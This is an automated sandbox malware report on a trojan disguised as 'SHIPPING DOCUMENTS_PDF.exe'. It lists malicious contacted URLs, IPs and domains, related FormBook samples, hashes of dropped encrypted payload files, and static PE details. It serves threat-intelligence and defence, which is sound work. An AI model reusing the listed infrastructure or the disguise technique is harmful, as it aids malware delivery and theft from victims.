http://www.zrichiod-riech.sbs/26nq/?LDVlCz=03R0/PY94GJRzPoOKSenb2h5QS/Kl50E/qK0YcgrJ8wpZCLSP+GtGIEwrkK3Oa2ONw/TguZq9BdWMDmUOrZ+COkHC5rjPuI42FsUNzu6Vv93haoOa+yyAoKItnrc6cGBtQ==&NdLhG=cLCtFnqPUvutTbuP	true	Avira URL Cloud: safe	unknown
http://www.primespot.live/icu6/	true	Avira URL Cloud: safe	unknown
http://www.rwse6wjx.sbs/n0se/?LDVlCz=hkrsNdm9A7NEs6AELC9hc5Biy4ux3a/2UN9Ti/zPtL1d4UFJsQdYSGmB1x8mN1/no5/doAmWeXNISuQ7Z6M7ARUekuecQYjdGGqJoetNg5rktHF3zD1BwWzApk9VpjBEpg==&NdLhG=cLCtFnqPUvutTbuP	true	Avira URL Cloud: safe	unknown
http://www.hisako.shop/o4tj/?LDVlCz=49GfoMoMEgfXZP1YCD85Y4F6kcmzgiifjOVZJgmdC9sULpLZnSwzXyHACQgjJ7sjiwZWkJjUpQH/sr9gZIVnDBJgsPBR+fKmpaKAjd6wyxi+eq8Hgh+Droj+Yb9QbnJwQg==&NdLhG=cLCtFnqPUvutTbuP	true	Avira URL Cloud: safe	unknown
http://www.growbamboo.xyz/1h7d/?LDVlCz=GhVUl+BMvYJ5ZB/G+p82cySXkvn+9vYw5d6SxNhFTeZQzODCqlJRcn8j1xBkKA1XTq1Cn2kO8HKqHDF15Seo3gBfn1d442lRHkqyo3MG/ycD+W3sgPB+1QYdeAS4c5YMDQ==&NdLhG=cLCtFnqPUvutTbuP	true	Avira URL Cloud: safe	unknown
http://www.emirates-visa.net/5cm4/?NdLhG=cLCtFnqPUvutTbuP&LDVlCz=ZOi5UH6lCHBhnBF9yu7lTl97V2po4KHEvqmaFY3uiUnnM3Kevyv9Tk9tf7brSgBHOaIF9h93DunAghZY9lTBZL9WpirrmBEOY4nZmUaXlywW6LOtEGR1afh1jX/LxafgQA==	true	Avira URL Cloud: safe	unknown
http://www.activateya.life/f95q/?NdLhG=cLCtFnqPUvutTbuP&LDVlCz=kbZ+3TVQWfE7KiBcybfm9WvlwV1TJfIMHZM6kD8OpyCP9Gh7sWOPFpouLIgiGz3sUBqRfaXNkxnyQnhTpFi/D08FMGsEDjNddsm/ASVO0JLXKussNUmxA8HGD8mS8NlSug==	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=	waitfor.exe, 00000005.00000002.4473892138.0000000005E0E000.00000004.10000000.00040000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000006.00000002.4473478711.000000000372E000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	false		high
https://answers.netlify.com/t/support-guide-i-ve-deployed-my-site-but-i-still-see-page-not-found/125	waitfor.exe, 00000005.00000002.4473892138.00000000065E8000.00000004.10000000.00040000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000006.00000002.4473478711.0000000003F08000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zrichiod-riech.sbs	pNkvbgLNQpIoyz.exe, 00000006.00000002.4474990481.0000000004FFD000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.hisako.shop/o4tj/?LDVlCz=49GfoMoMEgfXZP1YCD85Y4F6kcmzgiifjOVZJgmdC9sULpLZnSwzXyHACQgjJ7s	waitfor.exe, 00000005.00000002.4473892138.0000000006132000.00000004.10000000.00040000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000006.00000002.4473478711.0000000003A52000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	waitfor.exe, 00000005.00000003.2427298011.0000000007E08000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
3.125.36.175	thezensive.netlify.app	United States	16509	AMAZON-02US	true
161.97.142.144	www.070001813.xyz	United States	51167	CONTABODE	true
173.208.249.155	banajibazar.xyz	United States	32097	WIIUS	true
209.74.79.42	www.primespot.live	United States	31744	MULTIBAND-NEWHOPEUS	true
101.32.205.61	b1-3-r111.kunlundns.top	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	true
172.67.176.240	www.zrichiod-riech.sbs	United States	13335	CLOUDFLARENETUS	true
18.139.62.226	dns.ladipage.com	United States	16509	AMAZON-02US	false
38.6.78.235	www.17jkgl.com	United States	174	COGENT-174US	true
150.109.11.247	rk.jingdong.skin	Singapore	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	true
84.32.84.32	activateya.life	Lithuania	33922	NTT-LT-ASLT	true
3.33.130.190	emirates-visa.net	United States	8987	AMAZONEXPANSIONGB	true
124.71.162.21	www.walkecode.top	China	55990	HWCSNETHuaweiCloudServicedatacenterCN	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573434
Start date and time:	2024-12-12 00:17:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SHIPPING DOCUMENTS_PDF.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/3@17/12
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 90% Number of executed functions: 45 Number of non-executed functions: 281
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: SHIPPING DOCUMENTS_PDF.exe

Simulations

Behavior and APIs

Time	Type	Description
18:18:53	API Interceptor	12687541x Sleep call for process: waitfor.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3.125.36.175	http://vpnconsumer.com	Get hash	malicious	Unknown	Browse
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse
	Https://mt5-deriv-server-02.netlify.app	Get hash	malicious	Unknown	Browse
161.97.142.144	PO2412010.exe	Get hash	malicious	FormBook	Browse	www.070002018.xyz/6m2n/
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	www.070001325.xyz/gebt/?INvlf=vv4Z5oAEVW8Fnw5+v3rC78A1apnlABoa7eW6m5kMXrJjwDKHwLvNIdd6hCLbwWC7cjqqbjXxYb26MUHQV2edmwlqePdZlnBGcJVL9hTasAQSXzj69w==&afo=JnyH0Z2
	Quotation Validity.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.070002018.xyz/6m2n/
	Order MEI PO IM202411484.exe	Get hash	malicious	FormBook	Browse	www.030002613.xyz/xd9h/
	Documents.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.030002449.xyz/cfqm/
	PAYMENT_TO_NFTC_(CUB)_26-11-24.doc	Get hash	malicious	DarkTortilla, FormBook	Browse	www.070001955.xyz/7zj0/
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.54248711.xyz/jm2l/
	IETC-24017.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.030002613.xyz/xd9h/
	Purchase Order PO.exe	Get hash	malicious	FormBook	Browse	www.070002018.xyz/6m2n/
	PO #2411071822.exe	Get hash	malicious	FormBook	Browse	www.54248711.xyz/jm2l/
209.74.79.42	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	www.glowups.life/dheh/
209.74.79.42	72STaC6BmljfbIQ.exe	Get hash	malicious	FormBook	Browse	www.primespot.live/b8eq/
172.67.176.240	XOED07456754893.BAT.exe	Get hash	malicious	Lokibot	Browse	obilok.xyz/dx/77.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.17jkgl.com	Pre Alert PO TVKJEANSA00967.bat.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	38.6.78.235
dns.ladipage.com	CJE003889.exe	Get hash	malicious	FormBook	Browse	13.228.81.39
	MAERSK LINE SHIPPING DOC_4253.exe	Get hash	malicious	FormBook	Browse	13.228.81.39
	QUOTATON-37839993.exe	Get hash	malicious	FormBook	Browse	13.228.81.39
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	54.179.173.60
	Docs.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	18.139.62.226
	XFO-E2024-013 SMP-10.3-F01-2210 Host spare parts.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	13.228.81.39
	Swift copy.exe	Get hash	malicious	FormBook	Browse	18.139.62.226
	wavjjT3sEq.exe	Get hash	malicious	FormBook	Browse	54.179.173.60
	COMMERCIAL-DOKUMEN-YANG-DIREVISI.exe	Get hash	malicious	FormBook	Browse	18.139.62.226
	Order.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	54.179.173.60
www.primespot.live	72STaC6BmljfbIQ.exe	Get hash	malicious	FormBook	Browse	209.74.79.42
b1-3-r111.kunlundns.top	ZAMOWIEN.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	43.155.76.124
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	43.155.76.124
	PO-DC13112024_pdf.vbs	Get hash	malicious	Unknown	Browse	43.155.76.124
	3NvALxFlHV.exe	Get hash	malicious	FormBook	Browse	43.155.76.124
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	43.155.76.124
	QUOTE2342534.exe	Get hash	malicious	FormBook	Browse	129.226.56.200
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAIL.exe	Get hash	malicious	FormBook	Browse	129.226.56.200
	Re property pdf.exe	Get hash	malicious	FormBook	Browse	129.226.56.200
thezensive.netlify.app	Salmebogs(1).exe	Get hash	malicious	FormBook, GuLoader	Browse	3.75.10.80

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	jew.ppc.elf	Get hash	malicious	Unknown	Browse	18.226.64.181
	jew.mips.elf	Get hash	malicious	Unknown	Browse	52.52.10.186
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	54.195.68.141
	jew.arm6.elf	Get hash	malicious	Unknown	Browse	34.247.205.175
	https://newdocumentsproposal.webflow.io/	Get hash	malicious	Captcha Phish, HTMLPhisher	Browse	13.227.9.227
	x86_64.elf	Get hash	malicious	Mirai	Browse	100.20.19.195
	i686.elf	Get hash	malicious	Mirai	Browse	18.240.63.133
	x86.elf	Get hash	malicious	Mirai	Browse	18.196.227.86
	main_arm5.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse	46.137.111.148
MULTIBAND-NEWHOPEUS	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	209.74.64.187
	CJE003889.exe	Get hash	malicious	FormBook	Browse	209.74.79.40
	ACQUISITION OF A CONSERVATIVE REFRIGERATOR.exe	Get hash	malicious	FormBook	Browse	209.74.79.41
	PO2412010.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	Recibos.exe	Get hash	malicious	FormBook	Browse	209.74.77.108
	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	209.74.64.190
	DHL_734825510.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	SRT68.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	UPDATED CONTRACT.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	Invoice 10493.exe	Get hash	malicious	FormBook	Browse	209.74.77.109
WIIUS	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	173.208.191.42
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	69.197.135.107
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	69.197.241.147
	nabppc.elf	Get hash	malicious	Unknown	Browse	173.208.211.170
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	173.208.128.129
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	204.12.226.228
	m68k.elf	Get hash	malicious	Mirai	Browse	173.208.146.198
	http://pub-21beea42d44e4f0e83b5336b9ac3900a.r2.dev/woosf.html	Get hash	malicious	Unknown	Browse	173.208.194.98
	ZEjcJZcrXc.elf	Get hash	malicious	Mirai	Browse	173.208.146.179
	https://is.gd/by2jss	Get hash	malicious	Unknown	Browse	173.208.194.98
CONTABODE	PO2412010.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	MAERSK LINE SHIPPING DOC_4253.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	Need Price Order No.17084 PARLOK.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	lgkWBwqY15.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	New quotation request.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	UPDATED CONTRACT.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	167.86.111.146
	PO 4110007694.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	Latest advice payment.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	161.97.142.144

Process:	C:\Windows\SysWOW64\waitfor.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aut84AE.tmp

Download File

Process:	C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.9957419363014886
Encrypted:	true
SSDEEP:	6144:AGAFHZFi8WDZgc9kRNu4+qKQLK97cCtIh5aUlIl7um5c5vD1EzlSj9:AGkFD2ucOuWKQ297btIJIIy9zlc9
MD5:	6FA2AC7A13121F3B6517216B5966661E
SHA1:	B46A0B4640B0FDBE5B9C4093645F8B1EB1746215
SHA-256:	91C2D0FB0BD96D071AC233F5C9F8ACE16E7562D0A0D6FD734D3BCBEED83ECF10
SHA-512:	AC61235AFCAA844B21FA31C892D1CF8A8BAAF757DE723BCB580C58F5AD9DB4ACC7738D5447C1FD08AEA8B4A6893FF71724671C3DFBEDA3C70BD84139A0D3B235
Malicious:	false
Reputation:	low
Preview:	...W3YX63VVQ..U2.8LDBAJE.U31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW.YX69I._U.\.`.M..`.- &.A754%Q4xUV88>!d7WaJ9b($e..`.(572.TU<.VVQUDU289E..!-.t5T.x:4.....61.O...}X+.X..u5T..30?.9?.7VVQUDU2.}LD.@KEp..mEZSW0YX6.VTP^E^2AlHDBAJEIU31UOSW0IX67&RQUD.2A(LDBCJEOU31EZSW6YX67VVQU4Q2A:LDBAJEKUs.EZCW0IX67VFQUTU2A8LDRAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQ{00J58LD..NEIE31E.WW0IX67VVQUDU2A8LDbAJ%IU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LD

C:\Users\user\AppData\Local\Temp\disturb

Download File

Process:	C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.9957419363014886
Encrypted:	true
SSDEEP:	6144:AGAFHZFi8WDZgc9kRNu4+qKQLK97cCtIh5aUlIl7um5c5vD1EzlSj9:AGkFD2ucOuWKQ297btIJIIy9zlc9
MD5:	6FA2AC7A13121F3B6517216B5966661E
SHA1:	B46A0B4640B0FDBE5B9C4093645F8B1EB1746215
SHA-256:	91C2D0FB0BD96D071AC233F5C9F8ACE16E7562D0A0D6FD734D3BCBEED83ECF10
SHA-512:	AC61235AFCAA844B21FA31C892D1CF8A8BAAF757DE723BCB580C58F5AD9DB4ACC7738D5447C1FD08AEA8B4A6893FF71724671C3DFBEDA3C70BD84139A0D3B235
Malicious:	false
Reputation:	low
Preview:	...W3YX63VVQ..U2.8LDBAJE.U31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW.YX69I._U.\.`.M..`.- &.A754%Q4xUV88>!d7WaJ9b($e..`.(572.TU<.VVQUDU289E..!-.t5T.x:4.....61.O...}X+.X..u5T..30?.9?.7VVQUDU2.}LD.@KEp..mEZSW0YX6.VTP^E^2AlHDBAJEIU31UOSW0IX67&RQUD.2A(LDBCJEOU31EZSW6YX67VVQU4Q2A:LDBAJEKUs.EZCW0IX67VFQUTU2A8LDRAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQ{00J58LD..NEIE31E.WW0IX67VVQUDU2A8LDbAJ%IU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LDBAJEIU31EZSW0YX67VVQUDU2A8LD

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.169434051549643
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SHIPPING DOCUMENTS_PDF.exe
File size:	1'188'352 bytes
MD5:	8a85446ebb8eb07a56672afa7c1b7fbc
SHA1:	bc089650b78a7ebd5210ab0ae9609df50497a9d3
SHA256:	dfd126e677ab29f2de7b5305b3fcf75d096f2a1f69f79b6513136be7965f73f7
SHA512:	0b09313a0b5933726705c149d058ca98012b57aac38409eea3cae7764dbe3ccd50f9266909465b8f715874e02f655e9774191fd5de01585614f2f2b98289cc25
SSDEEP:	24576:Fu6J33O0c+JY5UZ+XC0kGso6FaC9TRjarp5BR/+NdWY:Hu0c++OCvkGs9FaCatZhY
TLSH:	B745BF2273DDC360CB769173BF6AB7016EBF78610630B85B2F980D7DA950161262D7A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675781BC [Mon Dec 9 23:48:12 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007F6E0C90CF3Ah
jmp 00007F6E0C8FFD04h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F6E0C8FFE8Ah
cmp edi, eax
jc 00007F6E0C9001EEh
bt dword ptr [004C31FCh], 01h
jnc 00007F6E0C8FFE89h
rep movsb
jmp 00007F6E0C90019Ch
cmp ecx, 00000080h
jc 00007F6E0C900054h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F6E0C8FFE90h
bt dword ptr [004BE324h], 01h
jc 00007F6E0C900360h
bt dword ptr [004C31FCh], 00000000h
jnc 00007F6E0C90002Dh
test edi, 00000003h
jne 00007F6E0C90003Eh
test esi, 00000003h
jne 00007F6E0C90001Dh
bt edi, 02h
jnc 00007F6E0C8FFE8Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F6E0C8FFE93h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F6E0C8FFEE5h
bt esi, 03h
jnc 00007F6E0C8FFF38h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x59904	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x121000	0x711c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	d28a820a1d9ff26cda02d12b888ba4b4	False	0.5728679102422908	data	6.676118058520316	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	79b14b254506b0dbc8cd0ad67fb70ad9	False	0.33535526761517614	OpenPGP Public Key	5.76010872795207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	9f9d6f746f1a415a63de45f8b7983d33	False	0.1017530487804878	data	1.198745897703538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x59904	0x59a00	5d794f0e03a658608a582d24580c833b	False	0.9266556616108786	data	7.892073146572697	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x121000	0x711c	0x7200	6fcae3cbbf6bfbabf5ec5bbe7cf612c3	False	0.7650767543859649	data	6.779031650454199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc75a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc76d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc77f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc7920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc7c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc7d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc8bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc9480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc99e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
